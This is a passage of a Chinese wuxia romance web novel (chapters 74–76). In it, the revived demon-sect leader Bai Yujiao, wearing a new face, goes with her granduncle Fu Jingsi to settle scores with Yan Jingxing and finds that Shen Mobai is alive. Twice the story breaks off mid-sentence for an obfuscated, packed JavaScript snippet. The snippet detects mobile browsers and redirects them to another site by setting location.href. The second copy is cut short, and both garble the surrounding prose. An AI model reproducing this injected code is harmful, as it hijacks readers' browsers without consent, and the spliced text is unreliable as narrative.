我崩溃得指着镜子里的人,“哪里都不对劲!这脸分明就不是我的啊!这,这不是比苏小小长得还要祸害么!” 傅静思淡定得抄起手边的一杆烟枪,悠然抽了一口,隔着烟雾蔑视我,“是吗?我不太记得你原本的样子了,就顺手照着我的喜好修补了。” “你你你,”我手抖,“你顺手一修,干嘛要开眼角隆鼻子割眼皮磨骨头!!” 傅静思仍旧淡定,他微微皱了点眉头,磕了磕手里的烟枪,“修都修了,修得彻底一些何妨?” 他说完,素履补充道,“你以后也是主子的侍女了,若是太难看了,带出去主人脸上也无光。” 我语塞。 我很想反驳她——本座原来哪里难看了?! 可是,话到嘴边,望着她那清水芙蕖一般一尘不染的脸,我就喷不出来了。 如你所见,我现在从一个魔教教主,沦落为了傅静思手下的婢女之一。 在这里,我不得不隆重介绍一下傅静思大仙了。 傅静思一来,是我娘亲的师兄。二来,还是这魔教“镜花宫”的创立者。 傅静思那么一说,我才想起来,镜花宫祠堂正中央,挂着一幅“镜花宫”开山鼻祖的肖像。那画中之人,便是傅静思。只可惜,此画神韵全无,而且多了一把胡子几撇皱纹,故而即便我看了那画千百惠,也从未认出那画中人竟是傅静思。 傅静思说,创立“镜花宫”纯是因为无聊。 只因为当年柳爹爹是天下堡堡主,洛爹爹是拜月教教主,而人皆是当时武林翻云覆雨的人物。傅师祖当时只是一介医者,便觉得自己似乎身份上落了下乘,心有不甘之际,于是自己便随手创立了“镜花宫”。 创始之初,“镜花宫”并不是一个魔教,而是一个修真的仙教。“刹那芳华”也不是什么魔功,而是修真的上乘心法。只可惜,傅大仙他闲散惯了,哪会认真去管教派的死活,随便将教主之位传给了一个弟子。此人性情乖戾,修习了“刹那芳华”之后,便仗着自己武功盖世,血洗武林,杀戮无度,最终在练到“刹那芳华”顶层时,飞升失败而堕入魔道。因为那任教主名声太差,连累了“镜花宫”,“镜花宫”也就堕落成了魔教。 很久很久之后,蓬莱仙岛出了变故,须得将年幼的我送出岛。那时天下堡和拜月教早已没落于江湖,傅静思忽然想起自己似乎还有这么个教派,便以先代教主手谕召了此任的教主,命令其前去东海之滨将我带回去好生照料。 只可惜,傅静思只知“镜花宫”声名远播,却不知道那时的“镜花宫”已经是一个遭人唾弃的魔教了。 人道是天上一日地上一年。 蓬莱仙岛上一日,于尘世之中便是数月。由此说来,傅静思来寻我寻得晚了,倒不是他和娘亲的错。 傅静思寻到我之时,我已经执掌了镜花宫,成了一代天骄女魔头。 修真之人须得经历红尘一番磨练,看破红尘万丈,最后才得以平心静气,修成正果。傅静思见我前半生杀伐过度,罪孽颇深,便有意要我经历这因果轮回这果报种种。 于是,先前的数年,傅静思只是默默在一旁看着,并不过度干预我的命运。可惜,他老人家这一路看下来,发现我丝毫无修成正果的迹象,反倒是越混越凄惨,最后混得妻离子散众叛亲离,差点死于非命。 于是,最终,傅大仙看不下去了,对我伸出了援助之手。 前几日,他终于跟我彻底摊牌,表示作为我娘亲的师兄以及我的师祖,愿意当我的背后大大靠山,替我撑腰。 说到底,这老头子还是护犊子的。他费了老劲替我将那毒从体内拔除干净,也替我医好了肺腑经络的内伤,最后,还将无家可归无处可去的我留在了身边。我一生命运不济,最后来了个时来运转,只能叹一声——造化弄人。 74. 玉宇琼楼 傅静思轻轻吐着烟雾,他背靠着窗棱,阳光斜斜洒在他如瀑墨发之上,将一头黑发染得如若金丝。 他那双眼睛,烟行魅视,然而,这万丈红尘繁华,偏偏在他眼中只能化为一片烟花落后的灰烬,如此寂寞。 傅大仙慵懒道,“换个新的脸有什么不好?顺便,把那名字也换个新的。从此以后,你便不再是白玉蛟了。该放下的,就早些放下吧。往后的日子,还长着呢……” 傅大仙一而再,再而三点播我。上一次我没领情,这一回,经过这一番生死、别离、爱恨、情仇,经历了那么多的阴谋算计,惊涛骇浪,欠了谁的情,负了谁的意,已经再也无法理清。 理不清的东西,一刀剪短也许更好。自此茕茕孑立,再无牵挂。 心中百转千回一番,我抬头微笑,蹭到傅静思边上,拽着他的袖子撒娇道,“师祖啊,既然什么都新了,您干脆把我记忆也给消了,我们新个彻底不好么?” 傅静思耷眼瞅我,眼神里闪过了那么一丝丝的悲凉。 那一丝光一瞬间便消弭,他冷哼了一声,“小丫头,单单是修脸和疗伤的债,你都没还给我,现在又想向我讨坏脑子的药?你先在我身边做苦工做个十年,把先前的债还清再说。” 我当即瘪嘴。我收回刚才的话,傅静思才不是护犊子的好师祖,傅静思是个一份亏也不愿意吃的吝啬鬼。 正如我所言,傅静思是个吃不得亏的人,同时,他也的确护犊子。傅大仙自认为他是我主子,我吃了亏就是他吃了亏。傅大仙吃了亏,非常不爽,于是,这老家伙亲自出马,替我讨债。 我坠崖之后的第三个月,傅静思便带着我,二人风尘仆仆前往玉宇琼楼找姓颜的以及玉宇琼楼一家子秋后算总账。 此时,时值三月半,燕子归来,春暖花开。 巫峡十二峰青山连绵,翠峰如屏,一练江水碧绿如蓝。 我和傅静思撑着一叶小舟,顺流而下,一路尽赏千里江山极胜,最后,登上神女峰。 我这是第一次当做一个陪衬布景似的跟在一个人的背后。跟在傅静思背后,我走得大步流星耀武扬威。原来有人罩着的感觉竟然如此之销魂。 师祖大人他一身素白,纤尘不染。头戴白羽高冠,宽大的道袍飘然,衣摆在身后拖出两米,白色袍服皆由银丝绣成,隐隐在阳光下泛着水波一般的磷文,远远望去,闪闪发光耀眼之极,直直能刺瞎狗眼。此外,师祖手里还装模作样拿着一个拂尘。这一身打扮,那气度、那风采,俨然就是大神下凡,莅临人间视察工作。 我一袭水蓝色长裙,双髻垂髫,冰蓝色的丝绦自鬓边垂落,额角还饰这一枚斑斓的蝴蝶。低眉顺眼跟在傅静思背后,假装成一随侍左右的座下神使。 玉宇琼楼的人一看傅静思不似寻常人,立即请教了大仙的名号。 我淡淡报上了我家主人的名号,前去回报的人不出半刻就冲了出来,迎着傅静思直接坐上一架超级华贵的马车,一路飞驰进了玉宇琼楼的千万楼阁之中。 马跑了大概半刻终于停了下来。 车帘被仆从掀开,一低头,我竟然看到了“玉宇琼楼”的当家大老板,沈墨白的老娘——曲冬榕,亲自接驾。 曲冬榕我是第一次见,整个人散发着雍容华贵的气场。 她比我想的要显得更年轻,五官深邃精巧,又别具英气,难怪能生出沈墨白那样的祸害。 曲冬榕特别恭敬的对傅静思行礼,“得知大师亲自远道而来,冬榕不胜惶恐,准备不周礼数不全,望大师海涵。” 傅静思他用药如神,我估摸着他大概就是那传说中的“傅药师”,这人在江湖中颇为有名,然而为人低调行事诡异,江湖上知道他的人多,见过的少之又少。 神医这种东西,很少有人敢不给面子。因为毕竟走江湖过的都是刀口舔血的日子,你不知道自己啥时候就可能要有求于他。 其实,我一直很好奇傅静思要怎么替我讨回公道。 要知道,我所见过的傅静思都是淡漠儒雅,清高冷漠。整个人看上宛若得道的散仙一般。他甚至从来都没大声说过话,我更没见过他出手伤人,我真难想象他要怎么跟曲冬榕他们唇枪舌剑大打出手。 我看向傅大仙,谁料,傅静思此时下巴微杨,表情和神态与他在我面前时完全不同。 他一脸不耐,态度倨傲,冷冷哼了一声,手中拂尘一甩,阴阳怪气道,“你们这儿是不是有个叫颜静行的后辈?” 我打了个寒噤——这傅静思也对演戏颇有造诣,若在戏楼中必是头牌。 曲冬榕的神色僵了一下,随即她蹙眉,“大师,您这是什么意思?” “我听说这丫头用毒颇为厉害,特地来讨教讨教。”傅静思说着,眼角扫了曲冬榕一眼,“怎么?曲夫人不给在下这个面子?” “怎么会,”曲冬榕听着傅静思语气不善,赶紧赔上一个笑容,“颜静行是后辈,能得到傅大师的赏识那是三生有幸。我备了好茶,傅大师先稍待片刻,我这就让颜姑娘来拜见大师。” 我和傅静思在茶室里等了不过半盏茶的功夫,颜静行就到了。 她一袭紫色抹胸襦裙,配着淡紫色的披帛,眉间点了一个朱砂莲花,模样倒是比之前见要温婉成熟了不少。 我看见她那张脸就怒火中烧,然而又不能暴露身份,于是只能“嗖嗖嗖”冲着她飞眼刀。只可惜颜静行注意力全被傅静思吸引去了,完全注意不到我这边。 傅静思一挥手,把周围的无关人等都打发下去,片刻,房间里就只剩下我、颜静行和傅静思三人。 颜静行站在傅静思面前,满脸疑虑,有些弄不清傅静思到底在耍什么花样。 傅静思一直对颜静行视若无睹,他悠悠然一杯茶喝完,放下杯子,才冷冰冰得抬起眼皮,扯出一个带着恨意的笑容,问,“你就是颜静行?” 别说是颜静行,就连我都傅静思的那个表情给吓了一跳。 要知道,这大仙虽然长得一脸妖孽,但平日里总是菩萨似的表情,让人看着直想对着他烧柱高香拜拜。然而,他现在这表情,这风骨,那眉梢一扬眼睛微眯的瞬间,当真是妖媚到了骨子里。之前我还一直怀疑他怎么可能是魔道,这样一看,果真是个魔道妖尊没错! 颜静行被他那一抬眼的犀利给震慑得向后退了半步,警惕得看着他,“是。大师有何指点?” 傅静思一扬嘴角,“嘭”得一声一掌拍在手边的小茶几上,“就是你害死了白玉蛟?” 颜静行似乎也察觉到了危险的气氛,她咽了口唾沫,“怎么了?” “怎么了?”傅静思扬高了音调反问一声,“呵,你年纪不大,胆子倒是不小!” 傅静思声音不算大,然而偏偏能震得人肝儿颤。 我不得不承认,他老人家疾言厉色的样子真是够吓人的。 此时此刻,我大概能肖想揣测一下当年他老人家当年称霸武林是怎样的一番风采了,那一定是——傅大师纯爷们,霸气外露,所到之处血流五步,片甲不留。 颜静行果然是被震住了,她往后退了一步,颇有扭头就跑的趋势。 然而,傅静思随随便便一抬手,隔空把这姑娘给点了穴。只见,大仙他随意抬起素白的指尖,神机一指。刹那,颜静行就木桩子似的杵在地上不能动了。 “哼,我镜花宫的人你都敢动,你胆子倒是不小,看来真是让冷将息这小辈给宠得惯得无法无天了 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冷将息沉默了几秒之后,终于开口了,然而开口内容却与我无关。 “师尊,是晚辈教子无方,静行之错全在我。请您看在我的份上,放她一条生路。” 颜静行也不傻,自从傅静思爆出自己是镜花宫的老祖宗时,她就知道这家伙是来寻仇的。 看得出来,颜静行在害怕,然而这丫头性子太烈,她到了这份上仍旧死硬到底,强撑梗着脖子冷笑道,“谁叫那白玉蛟跟我抢沈墨白,她死了也活该!” 冷将息闻言,终于抬头,他看着颜静行低喝了一声,“放肆!还不住口!” 虽然冷将息骂了颜静行,但我看着,心里有点不是滋味。 这可是我这辈子第一次看到冷将息动怒。什么魔教教主,什么风神俊秀,到头来,不过是个普通的男人。 颜静行被老爹骂了,脸色惨淡,不服气得咬了咬嘴唇。 傅静思双腿交叠,一只手撑着下巴看着他们俩一唱一和。他闻言,不怒反笑,“冷将息,你听听,你这好闺女自己找死,我正好成全了她,你就别怪我心狠手辣。” “师尊……” “哼,你疼你闺女,可我偏偏疼那个白玉蛟。今儿,这姓颜小丫头的命我是要定了……” 傅静思话音没落,超乎我想象的事情发生了——千钧一发之际,冷将息不知道是吃错了什么药,竟然铤而走险,对着傅静思这尊大神动手了。 冷将息被制服的过程,仅仅在电光火石的一刹那。 在压倒性力量面前,我那个师傅——当年被我像神一样崇拜的师傅,被傅静思一只手就制服了。 傅静思甚至仍旧保持着翘着二郎腿的姿势,仅仅是抬起了一只手。他一掌,手气手落之间,就化解了冷将息的掌力,反把冷将息震飞了出去。 两股巨大的内力骤然相击,整个楼体都发出了可怕的震颤。就在我以为房子要塌了的一瞬间,傅静思宽袖一甩,那内力产生的气旋便被全数收入袖中。一切在一瞬间恢复平静,唯独冷将息重重撞在墙壁上,发出微不可闻一声呻吟。 那一掌看似轻柔无力,实则掌力直透血肉骨骼,直至脏腑心脉。 冷将息伏在地上,痛苦得撑起身体。我看到他抬起头来,嘴角挂着一丝殷红的血丝。鲜血趁着雪一般的皮肤,残酷之中竟是美感。他看着傅静思的神情不是怨怒也不是悲伤,就如同十多年前那个月光如银的夜晚,他的神情仍旧是淡淡的,让人看不出他这幅表情下的情绪。 我默默站在傅静思手边,沉默看着这一切发生。 我不觉得解气,也不觉得开心。我只觉得,怅然。 75. 流氓们地再次相遇 傅静思解决了冷将息,并没有急着去干掉颜静行。 只见,傅静思振了振袖,慢悠悠站起来,一举一动之间尽是从容不迫。 “你们不用妄想着曲冬榕会前来解救,我已在周围布下了奇门遁甲,一时半会儿,谁也无法接近这座茶室。” 傅静思说着,双手负在背后,踱步走到冷将息面前。抬脚,用脚尖点起冷将息的下巴,强迫冷将息抬起头对上他的眼睛。 “冷将息,你虽然可恶,但好歹也算是镜花宫一任教主。我最后问你一个问题,你若是答得好,我就看在你这同门后辈的面子上放姓颜的小丫头一马,答得若是不好……”他说完,勾起嘴角,尤其非常特别阴狠得扯了一个笑容出来。 我被傅静思那笑容也给瘆得一抖。 我顿时觉得,傅静思必然是双重人格,他此时这幅毒辣的模样,实在太过传神,绝不是装出来的! 冷将息如此落魄之下,倒仍旧保持着云淡风轻的气度。他勉强扬着下巴,不卑不亢道,“谢师尊开恩,师尊请问。” 傅静思闻言,忽然扭头,对着我露出一个意味深长的浅笑。 冷将息也理所当然顺着傅静思的目光看向我。 目光向交错的一刹那,我愣了一下。随即,我就别开了视线,无辜得对着傅静思眨了眨眼睛。 傅静思悠悠开口,问出了那个决定了颜静行生死命运的问题。 “当年,你离开‘镜花宫’时,可曾有一分为白玉蛟想过?” 他这个问题问完,我和冷将息脸上同时闪过了一丝愕然。 只是,我愕然之后是尴尬,冷将息愕然之后竟然是一抹苍凉。 不知道是不是因为事关颜静行命运,他想了很久,才回答这个问题。 “我本以为……”冷将息开口,声音里满是回忆里的苍凉,“若是我离开,她会自由。” “哦?”傅静思闻言,扬了扬眉梢,一边还斜斜睨了我一眼。 “我对那个孩子……”冷将息轻轻开口,却没有继续说下去。 我摇了摇头。 原来,傅静思这趟是专程来替我解忧,替我解开多年前的那个心结。 原来,花袭衣那一日所说,并不是天方夜谭。 我低头,露出一个笑容来,缓缓说,“曾经有人说过,所谓的自由,是有一个可以回去的地方。你给她的真的是自由么?还是,这一切只不过你自己想要自由的借口。” 我语落,冷将息倏然抬起头来看着我。 我没有去在意他的视线。只是忽然觉得,该放下了。从前放不下的,都该放下了。 我蹭到傅静思旁边,扭着肩膀撒娇卖乖,“主子啊,您快点把事儿处理妥了,待会儿我们还要去‘三芳斋’喝酒呢。” 傅静思哈哈一笑,“好。冷将息,你这回答我就当是满意了,所以我就留下你家这孽障一条小命。只是,我不能这么简单就饶过她。她让白玉蛟死前面容全毁,体无完肤,所以我就以其人之道还治其人之身……”傅静思说到这里,突然又反悔似的话锋一转,“不过,仅仅毁容,似乎又少了些趣味,”他说着,眯起眼睛,露出一个狐狸一般的笑。扭头对颜静行说,“小丫头,死罪可免,活罪难逃,本座是颇为讲道理的,就给你个自己选择的权力——是失忆,还是毁容,这两种惩罚,你选哪个?” 如果是一般人,铁定选择失忆。 失忆怕什么?脸还在命还在,回忆什么的以后再制造好了。但是,颜静行偏偏不是一般人,她听到这个提议,竟然第一反应是崩溃得尖叫一声,“我不要失忆!我不要忘记沈墨白!” 从前,我一直不清楚这颜静行到底对沈墨白是有多么执着。我只觉得,像她这样乳臭未干的小丫头片子,哪里懂什么情什么爱,只不过就是占有欲虚荣心在作祟罢了。 现在看来,我是想错了。 颜静行为了沈墨白,当真是什么都能豁出去。什么尊严廉耻都不顾,甚至连自己的容貌和青春也可以舍弃。 傅静思颇为感兴趣得笑问,“哦?那你是选毁容了?” “等等……”颜静行却又突然打断他,她的眼神很游移,有些茫然不知所措得自言自语,“不行不行……我若是不好看了,沈墨白他就更不要我了……” 她说这话,我刚开始并没觉得不妥,但是思量一圈之后,我突然猛然惊醒了。 我嘴巴几乎不受控制,脱口惊呼,“沈墨白不是死了么?!” 颜静行这时候才第一次把目光投向我。 她沉默盯着我几秒钟,而后突然露出一个带着苦涩的笑容。 “死?没有。有我在,怎么会让他死。那时候在峨眉之巅,他坠崖的时候,我了跳下去,把他拉上来了。” 我心脏剧烈得跳动,一时间几乎有些呼吸困难,“那,那当时那个掉下去的人……” “那不过是被我推下去,给我们当垫脚石的人罢了。” 一刹那,我突然觉得面目可憎的颜静行一下子也变得和蔼可亲起来!我差点没一个箭步冲过去给颜静行一个热烈拥抱。 我强行按耐住急迫,装作不在意问,“他没死?那他在哪里?” “当然是被软禁在了玉宇琼楼里。反正‘沈墨白’也只是个假身份,死了就死了。他给曲姑姑捅了那么大的篓子,武林盟主的身份暴露了不说,还说出自己是玉宇琼楼少主的事情。曲姑姑快被他气死了,她说,若是他不悔改,就一辈子不放他出去。” 颜静行说到这里,垂下眼帘,咬了咬牙,似乎是在做什么决定。 末了,她抬起头,盯着傅静思说,“让我见沈墨白,我要他替我做这个决定。” 我一听,立即追问,“他现在人在何处?” “在藏书楼顶层的密室里。” 傅静思斜斜睨了我一眼,我赶紧挤眉弄眼示意他快点去吧沈墨白给带来。 傅大仙显然是不乐意去当跑腿的,但傅大仙在这楼阁附近布了奇门遁甲,除了他,其他人都进出不得。 傅静思别扭了一会儿之后,还是在我的哀怨而又期盼的瞪视下从窗口飞了出去。 此时,房间里剩下了被点穴的颜静行,倒地不起的冷将息,和面目全非的我。 说起来,颜静行足足比我小了十岁,现在也不过就是个双十年华的年轻女子。她虽然阴狠毒辣,但她机关算尽,仅仅只为了一个沈墨白。 我叹了口气,慢慢从袖扣里摸出来一块丝帕拿在指尖把玩,装作甚不在意,“江湖中人皆以为沈墨白已死,就连家主也被你们蒙混过去呢。也不知这些日子里,沈盟主在玉宇琼楼中过得怎样。” 颜静行不知道我是谁,对我的态度倒算是缓和。她看了我一眼,心平气和说,“他是曲冬榕的亲生独子,曲冬榕自然不会为难他。” “这道理我当然是懂得,”我笑了笑,“只是听说那沈盟主颇为激烈,将他软禁起来,恐怕他也是不会服软的吧?” “他……”颜静行神色黯了黯,想来,沈墨白这几个月过得也是颇为不易。颜静行沉默了半晌,忽然又是神色一冷,“也不知那白玉蛟灌了什么迷魂汤,竟让墨哥哥一意孤行至此!” 我摇头,她只知道怨别人,殊不知自己更是一意孤行。 “颜静行,那你又是何苦?天涯何处无芳草?你干嘛非得吊死在他那棵歪脖子树上。副盟主雪鉴和穆忘尘各个都是青年才俊芝兰玉树,好得很。依我看,你去劝雪鉴还俗,都比劝沈墨白回心转意要来得容易。” 颜静行冷笑了一声,“的确,他们是挺好,可惜不是沈墨白。”颜静行大概也是自知此番在劫难逃,她像是急于倾诉一般,把我当成了个树洞,一股脑把什么都说了。 “我第一次见沈墨白的时候,只有七岁。我永远也忘不了那一日,曲冬榕领着我走到一个满是桃花的院子里,指着院子里的少年告诉我,以后这便是要娶你的人。那时候,他在练剑,我就躲在树后面看他。他十四岁,剑术已经精纯无比。我当时就想,若是以后有这样一个人可以替我挡风遮雨,可以为我赶走一切灾难困苦,可以与我一同去闯荡江湖,那该有多好……我等着他,看着他,追逐他,足足十年。但是,他却还是离开了。而且在离开的短短半年里,竟爱上了另外一个女人!这种事我怎么能忍?!你让我如何能忍?!” 我看天,干笑了两声。 若是让她知道,她现在的倾诉对象就是她死也不能忍的那个女人,不知道颜静行那疯病会不会又犯起来。 ··· 说话间,傅静思已经回来了。这次大仙是从门进来的。他一脚踢开门,站在门口,一脸不耐回头对这背后不满地吆喝,“你这小子给我走快点!” 我下意识回头,正好看到一只手猛的撑在了门框上。手的主人向前踉跄了一步,差点被门槛绊倒,他整个人都扑在门框上才稳住身体。 “催什么催,赶着投胎啊?”那人抬头,瞥了傅静思一眼,语气比傅静思还要恶劣,更要不耐烦。 我看到他的脸的瞬间,忽然感到自己眼眶一热。然后我赶紧眨眨眼睛,假装什么事都没发生。 “沈墨白。”颜静行叫了一声,声音短促而又急切,尾音还带着颤,听去显得尤其可怜。 沈墨白看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349911|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一眼,然后就一屁股靠着门板在地上坐下了。他曲着膝盖,一只胳膊搭在膝盖上,打了个大大的呵欠。 颜静行看他如此这般不想理会自己的模样,顿时急了,一急眼泪就噼里啪啦滚了出来。颜静行此时动也不能动,只有豆大的眼泪一直从眼眶里掉出来,那样子真有几分我见犹怜。 “他们要杀我!” 沈墨白闻言,冷笑了一声,“关我什么事?” 颜静行愣了愣,突然情绪崩溃,“好!不关你的事!”她破音得尖叫了一声,歇斯底里尖叫,“快点来杀了我吧!我早死了早干净了事!我不要活了!快点杀了我快杀了我!” 我被颜静行的尖叫震得耳膜发疼。 我揉了揉耳朵,打断了颜静行的疯话,“那个……”我咳嗽了一声,“其实事情是这样的。其实呢,今天,这位大仙,”我说到此处,猛然感到一股犀利的目光,赶紧改口,“呃不不,是我家主上傅师尊……千里迢迢来到玉宇琼楼,是专程替白玉蛟讨回公道的。杀人偿命,照理说颜静行的命师尊是该取走的。只是师尊念在冷将息同门后辈的情分上,饶颜静行不死。死罪可免活罪难逃,是洗脑还是毁容,颜静行姑娘想请这位沈墨白公子,替她来做选择。” 我说完,笑眯眯的看向沈墨白,“沈公子,您就请替颜姑娘做个选择吧?” 沈墨白完全没有认出我来。他像是刚大醉了一场,脑袋还不怎么清醒,迷惑得看了我一眼,眯着眼睛挠了挠乱七八糟的头发,“为什么要我选?我与她毫无瓜葛。” 我瞟了一眼颜静行,这丫此时脸色比那树上霜打的柿子还要难看几分。 我心里暗赞:沈墨白,你够狠! 我装模作样,惋惜状摇头叹气,“哎呀,沈公子你怎么可以如此无情?再怎么说,这位颜姑娘会落到这种地步,也是为了你。” 沈墨白听到这里,脸上吊儿郎当的表情忽而僵住了。 “是我害的吗?果然是我吗?”他没头没脑的嘟囔了两声,忽然自言自语笑起来,“是啊,要是我没有遇到她,她就不会知道真相。要是没有我,她也不会最后……” 我看着沈墨白的脸,只觉得他笑得比哭了还难看。 想想真是造化弄人。 我以为我害了他,他以为他害了我,两个人都琼瑶兮兮苦大仇深了一把,结果到头来,两个人都活蹦乱跳的仍旧活在这万恶的世上。 下意识,我就伸出手扭了他的脸颊一把,硬是把他那个苦笑的表情给扯扭曲了。 沈墨白被我给揪愣了,抬起眼皮呆呆的看着我。 我这才恍然回过神来,干咳了一声,“今儿的事,恐怕您不想管也得管管了,好歹也是条人命,不可儿戏。” 沈墨白沉默了一会儿,终于吐了口气,抬起头,直指看向颜静行,“你想让我怎么决定?” 颜静行咬着嘴唇,眼睛哭的红的像只兔子,“我不想忘了你。我做这所有的一切都是为了你,我什么都可以不要,只求你别不要我……” 沈墨白看着她,睫毛微微颤了一下,没有回答。 颜静行以为自己看到了希望,她艰难得咽了口唾沫,轻声问,“沈墨白,如果我,我的脸变得很可怕,再也没人肯要了,你愿意要我吗?我不做你的正房了,你想要娶多少的姬妾我也不再在乎了,只要你允许我在你身边……” “颜静行。”沈墨白忽然开口,冷冷得打断了那个女人喋喋不休的请求,“你做得再多,我也不会心存感激。”沈墨白顿了一下说,“白玉蛟虽是被你害死,寻根究底,却是因我而死,所以我不恨你。” 颜静行眼睛微微张大,急切道,“你若不恨我了,那我们重新开始好不好?” 沈墨白却笑了,“不,你搞错了。”他抬起手,指尖反点着自己的心口,一字一句缓慢而清晰道,“这里没有你。只有她一个人。连恨你的余地也没留下。她不在了,这里便与她一同化为灰烬。” 满场皆静,我只听到自己心如擂鼓。 我忽然觉得空气有些凝滞,我有些晕眩,不得不急促得深呼吸了一口气。 一抬眼,就发现傅静思坐在太师椅里头,满眼带着戏谑瞅着我,看得我一瞬间像个被蒸熟了的虾米似的面赤而红。 沈墨白说完,慢慢撑起身体站了起来,“你明白了的话,就自己选吧,我再也不想跟你扯上关系了。” 语落,他转身向着门外走去。 我回头看了一眼傅静思,大仙心下了然。他对我弯起嘴角一笑,扬了扬下巴。 我得到傅静思的允许,立即一个箭步窜出门,向沈墨白的背影追过去。 76. 相濡以沫还是相忘江湖 我在通向花园的一个回廊里追上了沈墨白,回廊是半开放式,一侧对着一排梨花树。此时洁白的梨花已经全数盛放,一丛丛一簇簇横斜着伸展着枝桠。阳光落在花枝上,又透过花枝,在人衣人影上留下绚烂的光斑。 风一阵阵轻拂,带着一丝一缕清淡的幽香,熏人欲醉。 “沈墨白。”我在他背后两步停下,轻轻叫了一声。 沈墨白蓦然回首。 风轻轻扬起他垂落的发丝,发丝间夹杂着碎落飘零的花瓣,那一瞬间,我只觉得这世界,美得让人窒息。 以前总是觉得,这世界怪无趣无聊的。每天就是吃喝拉撒,为了一些虚无缥缈的东西挖空心思,勾心斗角。现在想想,以前反复纠结的自己其实才着实无聊可笑。 我依旧在,他依旧在,天依旧蓝,花依旧香。 其实这个世界一直以来都是如此和蔼可亲。 没有缘由的,我看着沈墨白那张略显肾虚不足的脸,不禁莞尔,“沈少侠,你上哪儿去?” 沈墨白目光飘向廊边的花枝想了想,无所谓得撇了撇嘴角,“逃出这里,然后天南海北去浪迹江湖。” “噢?”我向前走了一步,调皮得歪了一下头,“玉宇琼楼,我们说来就能来,但是不代表你想走就能走。” 沈墨白皱眉看了我一会儿,他挑着眉毛看我,似乎在说“所以呢” 俨然一副光脚的不怕穿鞋的架势。 “咳咳。”我假意掩唇咳嗽了两声,内心有点纠结。 我摸了摸脸,无奈师尊老人家整容技术过硬,这张脸连我自己都认不得,也难怪他认不出来…… 总觉得……自己恰巧错过了告诉他我就是白玉蛟的时机。现在我才坦白告诉他自己是白玉蛟,总觉得,哪里不太对啊? 而且,我真的打算继续,作为“白玉蛟”活下去么?我真的,要继续纠缠在这红尘之中么?还是干脆就和傅静思一样,抛却前尘种种,清心寡欲,隐姓埋名,从此做个世外散人? 我轻轻叹了口气。其实这些也不过是借口。真正不想坦白的理由,只是我也并没有想好该如何面对沈墨白。 沈墨白仍旧看着我,满脸自暴自弃的神色。 我清了清嗓子,摆出一个客道的微笑,“我家主上乃是镜花宫师尊,也就是白玉娇的嫡系师祖……” 沈墨白的表情忽然空白了一下。 我继续道,“其实那一日,在金陵山崖……” 我话还没说完,沈墨白忽然疯了一般冲过来,死命抓着我的肩膀,“她没死对不对?!我知道她才不会这么容易死!我就知道……”他边说,边疯了一般的,忽然掉了一滴眼泪,忽然,又笑了。 然后沈墨白用力抱住自己的脑袋,慢慢蹲下去,“我知道……我知道,她肯定不会死……”他喃喃自语,然后抬起头来,用哀求的眼神看着我,“我不是做梦对吗?这不是又一个可恶的梦,这是真的对吗?……” 沈墨白看着我。他布满血丝的眼睛里,带着浓浓的悲哀无助和绝望。 我是第一次知道,原来这个完事无所谓,吊儿郎当,凡事不走心的家伙,也会有这样的表情。 越是表现的不在乎的人,放在心里的分量越重。 其实我是懂的。因为我和他太像了。 “对吗?”沈墨白哀求地看着我,等待审判一般地看着我。仿佛我的话,就是天地,就可决定生死。 我蹲下去,手指覆在他的手指上。 “嗯,她没死,这也不是梦境。她没死,她还活着。像她那样的混世魔王,就连阎王也不肯收。” 沈墨白呆呆的看着我。过了很久,他瘫坐在地上,把脸埋进了手心里。 “对啊,我早该知道的。”他闷闷的声音从指间传出来。 我忍不住抬手拍拍他的肩膀。 第一次开始觉得,无论这辈子遭遇了什么,还能活着总是最好的。 “她人在哪里?” 沈墨白突然问。 “呃……”我在沈墨白的紧盯之下眨了眨眼睛,看天……“总……总之,当务之急是离开此处。” 我说完起身欲反身往回走,却被背后的沈墨白一把抓住了手腕。 “等等,你……”沈墨白绕到我面前,仔细盯着我的脸,皱着眉头从上到下从左到右细细打量了一番。 我被他盯得发毛,推了他一把甩开手,“看,看什么看啊!没看过漂亮妹子啊!” “噢,那倒不是,”沈墨白低声笑笑,“虽然姑娘你的确是,嗯,姿容出众。但比起金陵的苏小小来还是差了几分,嗯,气韵。” 竟然说我气质差!我额角绷起一道青筋。 却听那人渣继续悠悠道,“说起来,白玉蛟年纪尚轻时也是颇有姿色的,鲜衣怒马,别有一番滋味……只可惜嘛,我遇到她时,她都已经三十而立了……” 我咬牙切齿一个凶狠的眼光甩过去,沈墨白仿佛没看到似得,只是很无辜地仰头看天。 “噢,说起来,之前听说沈墨白,既为武林盟盟主,又为这琼楼的少主,而且为了白玉蛟不惜以天下武林为敌……刚才又听着那位颜姑娘为了你要死要活,还以为您会是个怎样的人物呢……”我说着,高冷地“哼”了一声,“江湖混混,不过如此嘛。无论是比起镜花宫此任掌门,还是比起武林盟新任的穆忘尘来,哎,无论是人品武功气度相貌身材上都是……哎……” 沈墨白当即脸黑。 我这厢和沈墨白正掐得起劲,忽然,背后响起了傅大仙的声音,“呦,这么快就打情骂俏闹腾上了啊……” “师尊,您别说笑了,”我老脸一红,一脚踹开沈墨白,小步跑到傅静思面前卖乖,“师尊您老人家事情都办妥了?” 傅静思扬眉,“嗯。颜静行失了记忆,冷将息大概是要带她回山林归隐了。” 我看向沈墨白,发现这孙子盯着傅静思的眼神非常不善。他狠狠瞪了我一眼,又把目光转向我的手。 我不明所以顺着他目光看去,发现自己原来正拽着傅静思的袖子。于是我变本加厉不要脸不要命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈墨白看看天,看看地,又一脸害羞看着我,“姑娘如此美色,一路前往金陵,路途遥远,很是不安全。姑娘你对我有救命之恩,我一路护送你去金陵,也算是报恩?” 